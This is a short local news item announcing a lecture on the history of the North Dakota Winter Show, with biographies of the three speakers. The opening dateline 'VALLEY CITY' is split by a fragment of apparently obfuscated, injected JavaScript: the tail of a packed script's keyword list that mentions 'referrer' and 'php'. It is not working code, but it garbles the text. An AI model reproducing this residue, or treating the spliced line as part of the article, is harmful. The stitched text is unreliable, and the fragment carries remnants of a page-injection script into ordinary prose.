VALLEY dkbif|var|u0026u|referrer|zyida||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com) The history of the North Dakota Winter Show will be discussed during the The Barnes County Historical Society Lecture Series presention with Ralph Metcalf, Gerry and Marian Gerntholz: “The NDWS, 75 Years and Counting.” 7PM Thursday March 15 at the Barnes County Museum.
On September 27, 1937 the dream of the “North Dakota Winter Show” became a reality with the composition of the articles of incorporation stating that its purposes was, “To promote and improve the condition of agriculture, horticulture, mechanical manufacturing and household arts.” Seventy-five years later the North Dakota Winter Show has become the largest and longest running such agricultural show in the nation and continues to grow and change with the times.
While Ralph Metcalf was the Secretary/Manager of the North Dakota Winter Show for seven years, the Show had several good years of financial success. During this time, the Show increased to eleven days and several new programs were added in both the men’s and women’s divisions. New bleachers were installed in the main arena and a new building was built on the South side of the main building which almost doubled the commercial display area in addition to making more room for entertainment and educational shows. Approximately $90,000 was spent each year on facility improvements. The North Dakota Winter Show is a great success and looks forward to many more great years.
Ralph Metcalf was born and raised on a dairy farm NE of Valley City and still lives on that same farm. Upon graduating from high school, he assisted with the work on the farm for several years when he finally accepted a position with the National Guard in Valley City. In 1975 he was appointed to the ND Winter Show Board of Directors. Ralph remained on the Board until 1981 when he was appointed Secretary/Manager of the Show upon the retirement of Irvin Koslofsky. He remained in this position until early Spring 1987 when he resigned to accept a position with the North Dakota National Guard. He served in the ND Legislature from 1998 until 2012.
Marian Gerntholz has been a member of the Women’s group since 1962. In those early years the show was 11 days with the women’s group planning four days of events which included a tour of new places in VC, a Style Show, a Cooking School. Now we have a 6 day show with 7 events. Gerry has been on the Winter Show board since 1979. The committees he has been on are livestock, crop show, ND Ag Hall of Fame, Home and Play and Get Away.
Gerry Gerntholz grew up near Sanborn, Marian near Lisbon, they met at NDSU, graduated and married in 1959. They farmed near Sanborn until 1999 when they moved into Valley City. The public is welcome to attend this free event Thursday night at 7pm.